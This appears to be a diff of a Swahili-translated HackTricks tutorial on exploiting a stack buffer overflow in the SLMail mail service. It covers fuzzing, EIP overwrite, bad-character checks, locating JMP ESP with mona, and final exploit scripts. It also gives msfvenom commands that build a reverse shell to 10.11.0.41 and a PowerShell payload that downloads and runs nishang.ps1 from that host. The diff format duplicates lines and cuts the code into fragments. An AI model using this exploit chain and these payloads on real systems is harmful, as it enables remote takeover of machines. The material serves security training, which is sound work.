* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kufyonza kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -18,13 +18,13 @@ Njia nyingine za kusaidia HackTricks:
## Anza upya huduma ya SLMail
Kila wakati unahitaji **kuanzisha upya huduma ya SLMail** unaweza kufanya hivyo kutumia konsoli ya windows:
Kila wakati unahitaji **kuanzisha upya huduma ya SLMail** unaweza kufanya hivyo ukitumia konsoli ya windows:
```
net start slmail
```
![](<../.gitbook/assets/image (985).png>)
## Kigezo cha kudukua cha Python cha msingi
## Kigezo cha shambulio la msingi la Python
```python
#!/usr/bin/python
@ -48,7 +48,7 @@ print "Could not connect to "+ip+":"+port
```
## **Badilisha Fonti ya Immunity Debugger**
Nenda kwa `Chaguo >> Muonekano >> Fonti >> Badilisha(Consolas, Blod, 9) >> Sawa`
Nenda kwa `Chaguo >> Muonekano >> Fonti >> Badilisha (Consolas, Blod, 9) >> Sawa`
## **Ambatanisha mchakato kwa Immunity Debugger:**
@ -58,7 +58,7 @@ Nenda kwa `Chaguo >> Muonekano >> Fonti >> Badilisha(Consolas, Blod, 9) >> Sawa`
**Na bonyeza kitufe cha KUANZA**
## **Tuma shambulio na angalia ikiwa EIP imeathiriwa:**
## **Tuma shambulizi na angalia ikiwa EIP imeathiriwa:**
![](<../.gitbook/assets/image (903).png>)
@ -66,7 +66,7 @@ Kila wakati unapovunja huduma unapaswa kuizindua tena kama ilivyoelezwa mwanzoni
## Unda mfano wa kubadilisha EIP
Mfano huo unapaswa kuwa mkubwa kama kisanduku ulichotumia kuvunja huduma hapo awali.
Mfano huo unapaswa kuwa mkubwa kama kikasha ulichotumia kuvunja huduma hapo awali.
![](<../.gitbook/assets/image (417).png>)
```
@ -140,9 +140,9 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Badchars huanza katika 0x01 kwa sababu 0x00 ni mbaya sana.
Badchars huanza katika 0x01 kwa sababu 0x00 ni mbaya mara nyingi.
Tekeleza mara kwa mara shambulio na hifadhi mpya ya data ukiacha herufi ambazo zimeonekana kutokuwa na maana:.
Tekeleza mara kwa mara shambulio na hifadhi mpya ya data ikiondoa herufi ambazo zimeonekana kutokuwa na maana:.
Kwa mfano:
@ -170,25 +170,25 @@ Unaweza **kuorodhesha ramani za kumbukumbu**. Tafuta baadhi ya DLl ambayo ina:
![](<../.gitbook/assets/image (552).png>)
Sasa, ndani ya kumbukumbu hii unapaswa kupata baadhi ya baiti za JMP ESP, ili kufanya hivyo tekeleza:
Sasa, ndani ya kumbukumbu hii unapaswa kupata baadhi ya herufi za JMP ESP, ili kufanya hivyo tekeleza:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Kisha, ikiwa anwani fulani imepatikana, chagua moja ambayo haionekani kuwa na herufi mbaya:**
**Kisha, ikiwa anwani fulani imepatikana, chagua ile ambayo haina herufi mbaya:**
![](<../.gitbook/assets/image (602).png>)
**Katika kesi hii, kwa mfano: \_0x5f4a358f**\_
**Katika kesi hii, kwa mfano: \_0x5f4a358f**\_
## Unda shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Ikiwa shambulio halifanyi kazi lakini linapaswa (unaweza kuona na ImDebg kwamba shellcode imewafikia), jaribu kuunda shellcodes nyingine (msfvenom itaunda shellcodes tofauti kwa vigezo sawa).
Ikiwa shambulio halifanyi kazi lakini linapaswa (unaweza kuona na ImDebg kwamba shellcode imewezeshwa), jaribu kuunda shellcodes nyingine (msfvenom itaunda shellcodes tofauti kwa vigezo sawa).
**Ongeza NOPS kidogo mwanzoni** mwa shellcode na itumie na anwani ya kurudi kwa JMP ESP, na kumaliza shambulio:
**Ongeza NOPS kadhaa** mwanzoni mwa shellcode na itumie na anwani ya kurudi kwa JMP ESP, na kamilisha shambulio:
```bash
#!/usr/bin/python
@ -244,12 +244,12 @@ Kuna shellcodes ambazo zitajibadilisha wenyewe, hivyo ni muhimu kuongeza NOPs ka
## Kuboresha shellcode
Ongeza vigezo hivi:
```
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -257,6 +257,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>